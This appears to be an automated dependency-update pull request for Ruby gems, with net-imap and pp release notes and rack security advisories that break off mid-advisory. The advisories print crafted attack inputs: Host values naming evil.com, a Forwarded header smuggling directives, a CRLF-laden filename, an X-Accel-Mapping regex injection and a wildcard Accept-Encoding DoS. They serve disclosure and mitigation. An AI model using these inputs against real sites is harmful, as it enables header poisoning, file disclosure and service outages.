  • 🥅 Add ResponseParseError#parser_methods (and override #==) by @nevans in #615

Fixed

  • 🔒 Fix STARTTLS stripping vulnerability in #664, reported by @Masamuneee
  • Argument validation, reported by @manunio
    • 🔒️ Strictly validate symbol (\flag) arguments in #657
    • 🔒️ Validate and send STORE attr as an atom in #658
    • 🔒 Validate #setquota storage limit argument in #659
    • 🔒 Validate RawData for CRLF injection in #660
    • 📚 Improve documentation of RawData arguments in #661
  • ⚡ Much faster ResponseReader performance by @nevans in #642
  • 🥅 Successfully parse invalid response code data by @nevans in #614
  • Fix JRuby SSL connection failure: use SSLContext#setup instead of #freeze by @idahomst in #627
  • 🐛 Fix InvalidResponseError in #get_tagged_response by @nevans in #633
  • Pass an Exception to #raise by @eregon in #643
  • 🐛 Fix empty SearchResult#to_sequence_set in #644, reported by @Quintasan
  • 🐛 Wait to continue RawData literals by @nevans in #660

Documentation

  • 📚 Fix rdoc 7.2 compatibility (section bugfix) by @nevans in #617
  • 📚 Switch back to rdoc's darkfish generator (🚧TMP) by @nevans in #618
  • 📚 Use .document and .rdoc_options files, where possible by @nevans in #619
  • Update README example: Expunge is implicit in MOVE by @sebbASF in #623
  • 📚️ Fix QUOTA documentation by @nevans in #636
  • 📚 Minor documentation fixes by @nevans in #638
  • 📚 Improve documentation of RawData arguments by @nevans in #661

Other Changes

  • Handle deep response recursion as ResponseParseError by @Masamuneee in #629

Miscellaneous

  • ✅ Fix typo in FakeServer (tests only) by @nevans in #620
  • ⬆️ Bump step-security/harden-runner from 2.14.2 to 2.15.0 by @dependabot[bot] in #621
  • Bump step-security/harden-runner from 2.15.0 to 2.15.1 by @dependabot[bot] in #626
  • ⬆️ Bump step-security/harden-runner from 2.15.1 to 2.16.0 by @dependabot[bot] in #628
  • ⬆️ Bump actions/configure-pages from 5 to 6 by @dependabot[bot] in #635
  • ✅ Test #setquota by @nevans in #636
  • ⬆️ Bump actions/deploy-pages from 4 to 5 by @dependabot[bot] in #634
  • ⬆️ Bump step-security/harden-runner from 2.16.0 to 2.17.0 by @dependabot[bot] in #639
  • Test TruffleRuby release in CI for improved stability by @eregon in #640
  • ⬆️ Bump actions/upload-pages-artifact from 4 to 5 by @dependabot[bot] in #646
  • ⬆️ Bump step-security/harden-runner from 2.17.0 to 2.19.0 by @dependabot[bot] in #647

New Contributors

Full Changelog: v0.6.3...v0.6.4

0.6.3

What's Changed

Added

  • 🥅 Add parser state and #detailed_message to ResponseParseError by @nevans in #599
    • 🥅💄 Support (monochrome) highlights in parse error details by @nevans in #603
    • 🥅💄 Auto-highlight parse error detailed_message using TERM and FORCE_COLOR by @nevans in #607
    • 🥅💄 Add color highlights to parse error details (default honors NO_COLOR) by @nevans in #609
  • 🔧 Add Config#overrides? (opposite of #inherited?) by @nevans in #610
  • 🔧 Add recursive Config#inherits_defaults? by @nevans in #611

Fixed

  • 🐛 Parse resp-text with invalid resp-text-code by @nevans in #601
  • 🐛 Config.version_defaults should be read only by @nevans in #594

Other Changes

  • 🥅 Only print parser debug for unhandled errors by @nevans in #600
  • ♻️ Don't hardcode parser deprecation warning uplevel by @nevans in #602
  • ♻️ Simplify Config::AttrAccessors a little by @nevans in #606
  • ♻️ Set Config[:default] as alias of Config[VERSION] by @nevans in #608

Fixes for unreleased code:

  • 🐛 Return ResponseText from resp-text fallback by @nevans in #605
  • 🐛 Fix parse error parser_backtrace (for ruby <= 3.3) by @nevans in #604

Miscellaneous

  • Delete test/net/imap/test_data_lite.rb by @nobu in #593
  • ⬆️ Bump step-security/harden-runner from 2.14.0 to 2.14.1 by @dependabot[bot] in #596
  • Bump step-security/harden-runner from 2.14.1 to 2.14.2 by @dependabot[bot] in #598

Full Changelog: v0.6.2...v0.6.3

0.6.2

What's Changed

Fixed

Full Changelog: v0.6.1...v0.6.2

0.6.1

What's Changed

Fixed

  • 🐛 Fix SequenceSet#max(n) when cardinality < n <= size by @nevans in #580

Miscellaneous

  • ⬆️ Bump step-security/harden-runner from 2.13.3 to 2.14.0 by @dependabot[bot] in #579

Full Changelog: v0.6.0...v0.6.1

0.6.0

What's Changed

Breaking Changes

  • 🔧 Update default config for v0.6 by @nevans in #539
    • responses_without_block changed from :warn to :frozen_dup
    • parser_use_deprecated_uidplus_data changed from :up_to_max_size to false (and is deprecated)
    • parser_max_deprecated_uidplus_data_size changed from 100 to 0 (and is deprecated)
  • 🔥 Use psych (>= 5.2.5) for encoding Data objects by @nevans in #543
    This changes the YAML tag for Data subclasses from ruby/object:Net::IMAP::DataSubclass to ruby/data:Net::IMAP::DataSubclass. YAML dumped by earlier net-imap versions may not load correctly. Psych >= 5.2.5 is required to dump these objects correctly.
  • 💥 Require ruby >= 3.2 (drop support for 3.1) by @nevans in #538
  • 💥✨ Change SequenceSet#size to count * and repeated numbers by @nevans in #564
    SequenceSet is used to represent both sorted sets and ordered lists (which may contain duplicates). Members are non-zero UInt32 numbers, but "*" has special meaning as "the number corresponding to the last mailbox entry". So there are four different ways to count the members of a SequenceSet.
    Previously, #size was an alias for #count. Now it differs in both relevant aspects.
    * is a unique member * is treated like 2³² - 1
    distinct set members #cardinality #count
    ordered list, including duplicates #size #count_with_duplicates
  • 🔥 Remove deprecated UIDPlusData class by @nevans in #540
    UIDPlusData was deprecated by v0.5.6. AppendUIDData or CopyUIDData will always be returned instead.
  • 🔥 Delete deprecated MessageSet by @nevans in #573
    MessageSet was deprecated by v0.5.0. Use SequenceSet instead.
  • 💥 Do not include OpenSSL and OpenSSL::SSL modules into Net::IMAP by @nevans in #533
    This only affects the ability to use OpenSSL constants from the Net::IMAP namespace.
  • 💥 Don't set verify_callback to VerifyCallbackProc by @nevans in #534
    This functionality was never documented and is redundant with the verify_callback option.

Deprecated

  • Deprecated config options for UIDPlusData in #540
    The parser_use_deprecated_uidplus_data and parser_max_deprecated_uidplus_data_size config options will be removed in v0.7.0. They are kept for backward compatibility, but they do not affect response parser results. When parser_use_deprecated_uidplus_data is changed from the default value (false), deprecation warnings are printed when parsing APPENDUID or COPYUID response codes.

Added

  • 🔒 Add when_capabilities_cached option for Config#sasl_ir by @nevans in #561
  • Net::IMAP::Config improvements
    • 🔍 Improve Config#inspect output by @nevans in #546
    • 🔍 Improve Config#pretty_print (for Kernel::pp) by @nevans in #547
    • 🔧 Update Config#inherited? for any number of args by @nevans in #552
  • Net::IMAP::SequenceSet improvements
    • ✨ Add SequenceSet#intersect! for in-place set AND by @nevans in #549
    • ✨ Add SequenceSet#xor! for in-place set XOR by @nevans in #550
    • ♻️ Coalesce entries in SequenceSet#append by @nevans in #553
    • ✨ Add SequenceSet#normalized? by @nevans in #558
    • ✨ Add SequenceSet#cardinality method by @nevans in #563
    • 💥✨ Change SequenceSet#size to count * and repeated numbers by @nevans in #564
  • Net::IMAP::NumValidator improvements
    • 🏷️ Support mod-sequence-valzer (RFC4551) in NumValidator by @nevans in #570
    • 🏷️ Add NumValidator.coerce_{type} methods by @nevans in #571

Documentation

  • 📚 Improve rdoc example for #uid_fetch with partial by @nevans in #532
  • 📚 Document SearchResult/ESearchResult compatibility by @nevans in #559
  • 📚 Minor rdoc formatting fixes by @nevans in #560

Other Changes

  • 🔥 Drop Data polyfill by @nevans in #541
    This was only used for ruby 3.1, which is no longer supported. So this is not considered a breaking change.
  • ♻️ Refactor Config.versioned_defaults to reduce merge conflcts by @nevans in #544
  • Improved Net::IMAP::SequenceSet performance
    • ⚡️ Don't memoize SequenceSet#string on normalized sets by @nevans in #554
    • ⚡ Faster SequenceSet#normalize when frozen by @nevans in #556
    • ⚡️ Faster SequenceSet#full? by @nevans in #565
    • ⚡️ Slightly faster SequenceSet#xor by @nevans in #567
    • ⚡ Avoid allocating arrays for SequenceSet bsearch (♻️ extract abstract strategy methods) by @nevans in #569
    • ♻️ Rename SequenceSet internals by @nevans in #562
    • ♻️ Reorganize SequenceSet internals by @nevans in #568

Miscellaneous

  • ✅ Stop using deprecated UIDPlusData in tests by @nevans in #542
  • ⬆️ Bump step-security/harden-runner from 2.13.1 to 2.13.2 by @dependabot[bot] in #548
  • 🐛 Fix workflow to deploy RDoc to GitHub pages by @nevans in #551
  • ⬆️ Bump actions/checkout from 5 to 6 by @dependabot[bot] in #555
  • 📦 Update release.yml for github_actions label by @nevans in #557
  • ⬆️ Bump step-security/harden-runner from 2.13.2 to 2.13.3 by @dependabot[bot] in #566
  • 🔖 Release 0.6 by @nevans in #574
  • Workarounds for "Publishing gem fails with digest gem activation failure" issue #576
    • 📦 Use latest rubygems/bundler to release gem by @nevans in #575
    • 📦 Drop digest from Gemfile by @nevans in #577

Full Changelog: v0.5.12...v0.6.0

0.5.12

What's Changed

TruffleRuby is not (yet) "officially supported" but it seems to work (with a few small caveats). Several tests are still marked as pending, but the rest all pass. #528 protects us from merging PRs that break TruffleRuby and (in some cases) JRuby.

Fixed

  • 🐛 Fix loading of net/imap for JRuby/TruffleRuby by @nevans in #530

Miscellaneous

  • ✅ Test overriding inherited ::Data methods by @nevans in #531
  • ✅ Add TruffleRuby to CI by @nevans in #528

Full Changelog: v0.5.11...v0.5.12

0.5.11

What's Changed

Added

  • ✨ Add ESearchResult#to_sequence_set by @nevans in #511
  • ✨ Add ESearchResult#each by @nevans in #513
  • ✨ Add VanishedData#each, delegated to #uids.each_number by @nevans in #522
  • support new Ractor.shareable_proc by @ko1 in #525

Fixed

  • 🐛 Fix SearchResult#== for LHS with no modseq by @nevans in #514

Other Changes

  • ✨ Allow obj.to_sequence_set => nil in try_convert by @nevans in #512
  • ♻️ Allow VanishedData#uids to be SequenceSet.empty by @nevans in #517
  • 🥅 Raise ArgumentError for #fetch with partial by @nevans in #521

Documentation

  • 📚 Fix rdoc call-seq for uid_expunge by @nevans in #516
  • 📚 Add QRESYNC to #enable (docs only) by @nevans in #518

Miscellaneous

  • ✅ Organize test files by @nevans in #515
  • ✅ Fix flaky tests with FakeServer#Connection#close mutex by @nevans in #520
  • Bump step-security/harden-runner from 2.13.0 to 2.13.1 by @dependabot[bot] in #524

New Contributors

  • @ko1 made their first contribution in #525

Full Changelog: v0.5.10...v0.5.11

0.5.10

What's Changed

Added

  • 🔎 Update SequenceSet#inspect format to Net::IMAP::SequenceSet(#{string}) by @nevans in #501
  • ⚡🔎 Abridge SequenceSet#inspect output for more than 512 entries by @nevans in #502

Fixed

  • 🐛 Fix spelling of \Remote mailbox attr constant by @voxik in #509

Documentation

  • 📚🐛 Fix mistake in SequenceSet#string= rdoc by @nevans in #497
  • 📚🐛 Fix SequenceSet creation rdoc example output by @nevans in #499

Other Changes

  • 🥅 Improve ArgumentError in SequenceSet#string= by @nevans in #498
  • ♻️ Refactor SequenceSet#dup, #clone, and #replace by @nevans in #505

Miscellaneous

  • ⬆️ Bump step-security/harden-runner from 2.12.1 to 2.12.2 by @dependabot[bot] in #496
  • ⬆️ Bump step-security/harden-runner from 2.12.2 to 2.13.0 by @dependabot[bot] in #500
  • 📉 Add SequenceSet benchmarks by @nevans in #485
  • 📉 Fix benchmark data for SequenceSet#normalize by @nevans in #503
  • ⚡ Add vernier profiler for SequenceSet tests and benchmarks by @nevans in #504
  • ⬆️ Bump actions/upload-pages-artifact from 3 to 4 by @dependabot[bot] in #507
  • ⬆️ Bump actions/checkout from 4 to 5 by @dependabot[bot] in #506

Full Changelog: v0.5.9...v0.5.10

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ nio4r (indirect, 2.7.4 → 2.7.5) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by 4 commits:

↗️ pp (indirect, 0.6.2 → 0.6.4) · Repo

Release Notes

0.6.4

What's Changed

  • Add a workflow to sync commits to ruby/ruby by @k0kubun in #62
  • [DOC] Suppress documentation for internals by @nobu in #65
  • Support private instance_variables_to_inspect by @hamajyotan in #70

New Contributors

Full Changelog: v0.6.3...v0.6.4

0.6.3

What's Changed

  • Bump rubygems/release-gem from 1.1.0 to 1.1.1 by @dependabot[bot] in #34
  • Bump step-security/harden-runner from 2.10.2 to 2.10.3 by @dependabot[bot] in #35
  • Bump step-security/harden-runner from 2.10.3 to 2.10.4 by @dependabot[bot] in #36
  • Bump step-security/harden-runner from 2.10.4 to 2.11.0 by @dependabot[bot] in #37
  • Ensure the thread local state is always set up. by @ioquatix in #38
  • Avoid an array allocation per element in list passed to seplist by @jeremyevans in #41
  • Fix CI with recent Ruby releases by @hsbt in #45
  • Bump step-security/harden-runner from 2.11.0 to 2.12.1 by @dependabot[bot] in #44
  • Bump step-security/harden-runner from 2.12.1 to 2.12.2 by @dependabot[bot] in #46
  • Bump step-security/harden-runner from 2.12.2 to 2.13.0 by @dependabot[bot] in #47
  • Bump actions/checkout from 4 to 5 by @dependabot[bot] in #48
  • Bump step-security/harden-runner from 2.13.0 to 2.13.1 by @dependabot[bot] in #50
  • Support new instance_variables_to_inspect method from Ruby core by @Fryguy in #49
  • Add version.rake by @nobu in #52
  • Fix ::Data warning on Ruby 2.7 by @eregon in #53
  • Do not override the methods in set.rb by @nobu in #55
  • Refine Set#pretty_print check by @nobu in #56
  • Update pp for Set to use new inspect format by @jeremyevans in #43
  • Trivial improvements by @nobu in #59

New Contributors

Full Changelog: v0.6.2...v0.6.3

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ rack (indirect, 3.2.0 → 3.2.6) · Repo · Changelog

Security Advisories 🚨

🚨 Rack::Request accepts invalid Host characters, enabling host allowlist bypass

Summary

Rack::Request parses the Host header using an AUTHORITY regular expression that accepts characters not permitted in RFC-compliant hostnames, including /, ?, #, and @. Because req.host returns the full parsed value, applications that validate hosts using naive prefix or suffix checks can be bypassed.

For example, a check such as req.host.start_with?("myapp.com") can be bypassed with Host: myapp.com@evil.com, and a check such as req.host.end_with?("myapp.com") can be bypassed with Host: evil.com/myapp.com.

This can lead to host header poisoning in applications that use req.host, req.url, or req.base_url for link generation, redirects, or origin validation.

Details

Rack::Request parses the authority component using logic equivalent to:

AUTHORITY = /
  \A
  (?<host>
    \[(?<address>#{ipv6})\]
    |
    (?<address>[[[:graph:]&&[^\[\]]]]*?)
  )
  (:(?<port>\d+))?
  \z
/x

The character class used for non-IPv6 hosts accepts nearly all printable characters except [ and ]. This includes reserved URI delimiters such as @, /, ?, and #, which are not valid hostname characters under RFC 3986 host syntax.

As a result, values such as the following are accepted and returned through req.host:

myapp.com@evil.com
evil.com/myapp.com
evil.com#myapp.com

Applications that attempt to allowlist hosts using string prefix or suffix checks may therefore treat attacker-controlled hosts as trusted. For example:

req.host.start_with?("myapp.com")

accepts:

myapp.com@evil.com

and:

req.host.end_with?("myapp.com")

accepts:

evil.com/myapp.com

When those values are later used to build absolute URLs or enforce origin restrictions, the application may produce attacker-controlled results.

Impact

Applications that rely on req.host, req.url, or req.base_url may be affected if they perform naive host validation or assume Rack only returns RFC-valid hostnames.

In affected deployments, an attacker may be able to bypass host allowlists and poison generated links, redirects, or origin-dependent security decisions. This can enable attacks such as password reset link poisoning or other host header injection issues.

The practical impact depends on application behavior. If the application or reverse proxy already enforces strict host validation, exploitability may be reduced or eliminated.

Mitigation

  • Update to a patched version of Rack that rejects invalid authority characters in Host.
  • Enforce strict Host header validation at the reverse proxy or load balancer.
  • Do not rely on prefix or suffix string checks such as start_with? or end_with? for host allowlisting.
  • Use exact host allowlists, or exact subdomain boundary checks, after validating that the host is syntactically valid.

🚨 Rack's improper unfolding of folded multipart headers preserves CRLF in parsed parameter values

Summary

Rack::Multipart::Parser unfolds folded multipart part headers incorrectly. When a multipart header contains an obs-fold sequence, Rack preserves the embedded CRLF in parsed parameter values such as filename or name instead of removing the folded line break during unfolding.

As a result, applications that later reuse those parsed values in HTTP response headers may be vulnerable to downstream header injection or response splitting.

Details

Rack::Multipart::Parser accepts folded multipart header values and unfolds them during parsing. However, the unfolding behavior does not fully remove the embedded line break sequence from the parsed value.

This means a multipart part header such as:

Content-Disposition: form-data; name="file"; filename="test\r\n foo.txt"

can result in a parsed parameter value that still contains CRLF characters.

The issue is not that Rack creates a second multipart header field. Rather, the problem is that CRLF remains embedded in the parsed metadata value after unfolding. If an application later uses that value in a security-sensitive context, such as constructing an HTTP response header, the preserved CRLF may alter downstream header parsing.

Affected values may include multipart parameters such as filename, name, or similar parsed header attributes.

Impact

Applications that accept multipart form uploads may be affected if they later reuse parsed multipart metadata in HTTP headers or other header-sensitive contexts.

In affected deployments, an attacker may be able to supply a multipart parameter value containing folded line breaks and cause downstream header injection, response splitting, cache poisoning, or related response parsing issues.

The practical impact depends on application behavior. If parsed multipart metadata is not reused in HTTP headers, the issue may be limited to incorrect parsing behavior rather than a direct exploit path.

Mitigation

  • Update to a patched version of Rack that removes CRLF correctly when unfolding folded multipart header values.
  • Avoid copying upload metadata such as filename directly into HTTP response headers without sanitization.
  • Sanitize or reject carriage return and line feed characters in multipart-derived values before reusing them in response headers, logs, or downstream protocol contexts.
  • Where feasible, normalize uploaded filenames before storing or reflecting them.

🚨 Rack: Forwarded Header semicolon injection enables Host and Scheme spoofing

Summary

Rack::Utils.forwarded_values parses the RFC 7239 Forwarded header by splitting on semicolons before handling quoted-string values. Because quoted values may legally contain semicolons, a header such as:

Forwarded: for="127.0.0.1;host=evil.com;proto=https"

can be interpreted by Rack as multiple Forwarded directives rather than as a single quoted for value.

In deployments where an upstream proxy, WAF, or intermediary validates or preserves quoted Forwarded values differently, this discrepancy can allow an attacker to smuggle host, proto, for, or by parameters through a single header value.

Details

Rack::Utils.forwarded_values processes the header using logic equivalent to:

forwarded_header.split(';').each_with_object({}) do |field, values|
  field.split(',').each do |pair|
    pair = pair.split('=').map(&:strip).join('=')
    return nil unless pair =~ /\A(by|for|host|proto)="?([^"]+)"?\Z/i
    (values[$1.downcase.to_sym] ||= []) << $2
  end
end

The method splits on ; before it parses individual name=value pairs. This is inconsistent with RFC 7239, which permits quoted-string values, and quoted strings may contain semicolons as literal content.

As a result, a header value such as:

Forwarded: for="127.0.0.1;host=evil.com;proto=https"

is not treated as a single for value. Instead, Rack may interpret it as if the client had supplied separate for, host, and proto directives.

This creates an interpretation conflict when another component in front of Rack treats the quoted value as valid literal content, while Rack reparses it as multiple forwarding parameters.

Impact

Applications that rely on Forwarded to derive request metadata may observe attacker-controlled values for host, proto, for, or related URL components.

In affected deployments, this can lead to host or scheme spoofing in derived values such as req.host, req.scheme, req.base_url, or req.url. Applications that use those values for password reset links, redirects, absolute URL generation, logging, IP-based decisions, or backend requests may be vulnerable to downstream security impact.

The practical security impact depends on deployment architecture. If clients can already supply arbitrary trusted Forwarded parameters directly, this bug may not add meaningful attacker capability. The issue is most relevant where an upstream component and Rack interpret the same Forwarded header differently.

Mitigation

  • Update to a patched version of Rack that parses Forwarded quoted-string values before splitting on parameter delimiters.
  • Avoid trusting client-supplied Forwarded headers unless they are normalized or regenerated by a trusted reverse proxy.
  • Prefer stripping inbound Forwarded headers at the edge and reconstructing them from trusted proxy metadata.
  • Avoid using req.host, req.scheme, req.base_url, or req.url for security-sensitive operations unless the forwarding chain is explicitly trusted and validated.

🚨 Rack has quadratic complexity in Rack::Utils.select_best_encoding via wildcard Accept-Encoding header

Summary

Rack::Utils.select_best_encoding processes Accept-Encoding values with quadratic time complexity when the header contains many wildcard (*) entries. Because this method is used by Rack::Deflater to choose a response encoding, an unauthenticated attacker can send a single request with a crafted Accept-Encoding header and cause disproportionate CPU consumption on the compression middleware path.

This results in a denial of service condition for applications using Rack::Deflater.

Details

Rack::Utils.select_best_encoding expands parsed Accept-Encoding values into a list of candidate encodings. When an entry is *, the method computes the set of concrete encodings by subtracting the encodings already present in the request:

if m == "*"
  (available_encodings - accept_encoding.map(&:first)).each do |m2|
    expanded_accept_encoding << [m2, q, preference]
  end
else
  expanded_accept_encoding << [m, q, preference]
end

Because accept_encoding.map(&:first) is evaluated inside the loop, it is recomputed for each wildcard entry. If the request contains N wildcard entries, this produces repeated scans over the full parsed header and causes quadratic behavior.

After expansion, the method also performs additional work over expanded_accept_encoding, including per-entry deletion, which further increases the cost for large inputs.

Rack::Deflater invokes this method for each request when the middleware is enabled:

Utils.select_best_encoding(ENCODINGS, Utils.parse_encodings(accept_encoding))

As a result, a client can trigger this expensive code path simply by sending a large Accept-Encoding header containing many repeated wildcard values.

For example, a request with an approximately 8 KB Accept-Encoding header containing about 1,000 *;q=0.5 entries can cause roughly 170 ms of CPU time in a single request on the Rack::Deflater path, compared to a negligible baseline for a normal header.

This issue is distinct from CVE-2024-26146. That issue concerned regular expression denial of service during Accept header parsing, whereas this issue arises later during encoding selection after the header has already been parsed.

Impact

Any Rack application using Rack::Deflater may be affected.

An unauthenticated attacker can send requests with crafted Accept-Encoding headers to trigger excessive CPU usage in the encoding selection logic. Repeated requests can consume worker time disproportionately and reduce application availability.

The attack does not require invalid HTTP syntax or large payload bodies. A single header-sized request is sufficient to reach the vulnerable code path.

Mitigation

  • Update to a patched version of Rack in which encoding selection does not repeatedly rescan the parsed header for wildcard entries.
  • Avoid enabling Rack::Deflater on untrusted traffic.
  • Apply request filtering or header size / format restrictions at the reverse proxy or application boundary to limit abusive Accept-Encoding values.

🚨 Rack has a root directory disclosure via unescaped regex interpolation in Rack::Directory

Summary

Rack::Directory interpolates the configured root path directly into a regular expression when deriving the displayed directory path. If root contains regex metacharacters such as +, *, or ., the prefix stripping can fail and the generated directory listing may expose the full filesystem path in the HTML output.

Details

Rack::Directory::DirectoryBody#each computes the visible path using code equivalent to:

show_path = Utils.escape_html(path.sub(/\A#{root}/, ''))

Here, root is a developer-configured filesystem path. It is normalized earlier with File.expand_path(root) and then inserted directly into a regular expression without escaping.

Because the value is treated as regex syntax rather than as a literal string, metacharacters in the configured path can change how the prefix match behaves. When that happens, the expected root prefix is not removed from path, and the absolute filesystem path is rendered into the HTML directory listing.

Impact

If Rack::Directory is configured to serve a directory whose absolute path contains regex metacharacters, the generated directory listing may disclose the full server filesystem path instead of only the request-relative path.

This can expose internal deployment details such as directory layout, usernames, mount points, or naming conventions that would otherwise not be visible to clients.

Mitigation

  • Update to a patched version of Rack in which the root prefix is removed using an escaped regular expression.
  • Avoid using Rack::Directory with a root path that contains regular expression metacharacters.

🚨 Rack's multipart parsing without Content-Length header allows unbounded chunked file uploads

Summary

Rack::Multipart::Parser only wraps the request body in a BoundedIO when CONTENT_LENGTH is present. When a multipart/form-data request is sent without a Content-Length header, such as with HTTP chunked transfer encoding, multipart parsing continues until end-of-stream with no total size limit.

For file parts, the uploaded body is written directly to a temporary file on disk rather than being constrained by the buffered in-memory upload limit. An unauthenticated attacker can therefore stream an arbitrarily large multipart file upload and consume unbounded disk space.

This results in a denial of service condition for Rack applications that accept multipart form data.

Details

Rack::Multipart::Parser.parse applies BoundedIO only when content_length is not nil:

io = BoundedIO.new(io, content_length) if content_length

When CONTENT_LENGTH is absent, the parser reads the multipart body until EOF without a global byte limit.

Although Rack enforces BUFFERED_UPLOAD_BYTESIZE_LIMIT for retained non-file parts, file uploads are handled differently. When a multipart part includes a filename, the body is streamed to a Tempfile, and the retained-size accounting is not applied to that file content. As a result, file parts are not subject to the same upload size bound.

An attacker can exploit this by sending a chunked multipart/form-data request containing a file part and continuously streaming data without declaring a Content-Length. Rack will continue writing the uploaded data to disk until the client stops or the server exhausts available storage.

Impact

Any Rack application that accepts multipart/form-data uploads may be affected if no upstream component enforces a request body size limit.

An unauthenticated attacker can send a large chunked file upload to consume disk space on the application host. This may cause request failures, application instability, or broader service disruption if the host runs out of available storage.

The practical impact depends on deployment architecture. Reverse proxies or application servers that enforce upload limits may reduce or eliminate exploitability, but Rack itself does not impose a total multipart upload limit in this code path when CONTENT_LENGTH is absent.

Mitigation

  • Update to a patched version of Rack that enforces a total multipart upload size limit even when CONTENT_LENGTH is absent.
  • Enforce request body size limits at the reverse proxy or application server.
  • Isolate temporary upload storage and monitor disk consumption for multipart endpoints.

🚨 Rack::Sendfile header-based X-Accel-Mapping regex injection enables unauthorized X-Accel-Redirect

Summary

Rack::Sendfile#map_accel_path interpolates the value of the X-Accel-Mapping request header directly into a regular expression when rewriting file paths for X-Accel-Redirect. Because the header value is not escaped, an attacker who can supply X-Accel-Mapping to the backend can inject regex metacharacters and control the generated X-Accel-Redirect response header.

In deployments using Rack::Sendfile with x-accel-redirect, this can allow an attacker to cause nginx to serve unintended files from configured internal locations.

Details

Rack::Sendfile#map_accel_path processes header-supplied mappings using logic equivalent to:

mapping.split(',').map(&:strip).each do |m|
  internal, external = m.split('=', 2).map(&:strip)
  new_path = path.sub(/\A#{internal}/i, external)
  return new_path unless path == new_path
end

Here, internal comes from the HTTP_X_ACCEL_MAPPING request header and is inserted directly into a regular expression without escaping. This gives the header value regex semantics rather than treating it as a literal prefix.

As a result, an attacker can supply metacharacters such as .* or capture groups to alter how the path substitution is performed. For example, a mapping such as:

X-Accel-Mapping: .*=/protected/secret.txt

causes the entire source path to match and rewrites the redirect target to a clean attacker-chosen internal path.

This differs from the documented behavior of the header-based mapping path, which is described as a simple substitution. While application-supplied mappings may intentionally support regular expressions, header-supplied mappings should be treated as literal path prefixes.

The issue is only exploitable when untrusted X-Accel-Mapping headers can reach Rack. One realistic case is a reverse proxy configuration that intends to set X-Accel-Mapping itself, but fails to do so on some routes, allowing a client-supplied header to pass through unchanged.

Impact

Applications using Rack::Sendfile with x-accel-redirect may be affected if the backend accepts attacker-controlled X-Accel-Mapping headers.

In affected deployments, an attacker may be able to control the X-Accel-Redirect response header and cause nginx to serve files from internal locations that were not intended to be reachable through the application. This can lead to unauthorized file disclosure.

The practical impact depends on deployment architecture. If the proxy always strips or overwrites X-Accel-Mapping, or if the application uses explicit configured mappings instead of the request header, exploitability may be eliminated.

Mitigation

  • Update to a patched version of Rack that treats header-supplied X-Accel-Mapping values as literal strings rather than regular expressions.
  • Strip or overwrite inbound X-Accel-Mapping headers at the reverse proxy so client-supplied values never reach Rack.
  • Prefer explicit application-configured sendfile mappings instead of relying on request-header mappings.
  • Review proxy sub-locations and inherited header settings to ensure X-Accel-Mapping is consistently set on all backend routes.

🚨 Rack has Content-Length mismatch in Rack::Files error responses

Summary

Rack::Files#fail sets the Content-Length response header using String#size instead of String#bytesize. When the response body contains multibyte UTF-8 characters, the declared Content-Length is smaller than the number of bytes actually sent on the wire.

Because Rack::Files reflects the requested path in 404 responses, an attacker can trigger this mismatch by requesting a non-existent path containing percent-encoded UTF-8 characters.

This results in incorrect HTTP response framing and may cause response desynchronization in deployments that rely on the incorrect Content-Length value.

Details

Rack::Files#fail constructs error responses using logic equivalent to:

def fail(status, body, headers = {})
  body += "\n"
  [
    status,
    {
      "content-type" => "text/plain",
      "content-length" => body.size.to_s,
      "x-cascade" => "pass"
    }.merge!(headers),
    [body]
  ]
end

Here, body.size returns the number of characters, not the number of bytes. For multibyte UTF-8 strings, this produces an incorrect Content-Length value.

Rack::Files includes the decoded request path in 404 responses. A request containing percent-encoded UTF-8 path components therefore causes the response body to contain multibyte characters, while the Content-Length header still reflects character count rather than byte count.

As a result, the server can send more bytes than declared in the response headers.

This violates HTTP message framing requirements, which define Content-Length as the number of octets in the message body.

Impact

Applications using Rack::Files may emit incorrectly framed error responses when handling requests for non-existent paths containing multibyte characters.

In some deployment topologies, particularly with keep-alive connections and intermediaries that rely on Content-Length, this mismatch may lead to response parsing inconsistencies or response desynchronization. The practical exploitability depends on the behavior of downstream proxies, clients, and connection reuse.

Even where no secondary exploitation is possible, the response is malformed and may trigger protocol errors in strict components.

Mitigation

  • Update to a patched version of Rack that computes Content-Length using String#bytesize.
  • Avoid exposing Rack::Files directly to untrusted traffic until a fix is available, if operationally feasible.
  • Where possible, place Rack behind a proxy or server that normalizes or rejects malformed backend responses.
  • Prefer closing backend connections on error paths if response framing anomalies are a concern.

🚨 Rack::Static prefix matching can expose unintended files under the static root

Summary

Rack::Static determines whether a request should be served as a static file using a simple string prefix check. When configured with URL prefixes such as "/css", it matches any request path that begins with that string, including unrelated paths such as "/css-config.env" or "/css-backup.sql".

As a result, files under the static root whose names merely share the configured prefix may be served unintentionally, leading to information disclosure.

Details

Rack::Static#route_file performs static-route matching using logic equivalent to:

@urls.any? { |url| path.index(url) == 0 }

This checks only whether the request path starts with the configured prefix string. It does not require a path segment boundary after the prefix.

For example, with:

use Rack::Static, urls: ["/css", "/js"], root: "public"

the following path is matched as intended:

/css/style.css

but these paths are also matched:

/css-config.env
/css-backup.sql
/csssecrets.yml

If such files exist under the configured static root, Rack forwards the request to the file server and serves them as static content.

This means a configuration intended to expose only directory trees such as /css/... and /js/... may also expose sibling files whose names begin with those same strings.

Impact

An attacker can request files under the configured static root whose names share a configured URL prefix and obtain their contents.

In affected deployments, this may expose configuration files, secrets, backups, environment files, or other unintended static content located under the same root directory.

Mitigation

  • Update to a patched version of Rack that enforces a path boundary when matching configured static URL prefixes.
  • Match only paths that are either exactly equal to the configured prefix or begin with prefix + "/".
  • Avoid placing sensitive files under the Rack::Static root directory.
  • Prefer static URL mappings that cannot overlap with sensitive filenames.

🚨 Rack:: Static header_rules bypass via URL-encoded paths

Summary

Rack::Static#applicable_rules evaluates several header_rules types against the raw URL-encoded PATH_INFO, while the underlying file-serving path is decoded before the file is served. As a result, a request for a URL-encoded variant of a static path can serve the same file without the headers that header_rules were intended to apply.

In deployments that rely on Rack::Static to attach security-relevant response headers to static content, this can allow an attacker to bypass those headers by requesting an encoded form of the path.

Details

Rack::Static#applicable_rules matches rule types such as :fonts, Array, and Regexp directly against the incoming PATH_INFO. For example:

when :fonts
  /\.(?:ttf|otf|eot|woff2|woff|svg)\z/.match?(path)
when Array
  /\.(#{rule.join('|')})\z/.match?(path)
when Regexp
  rule.match?(path)

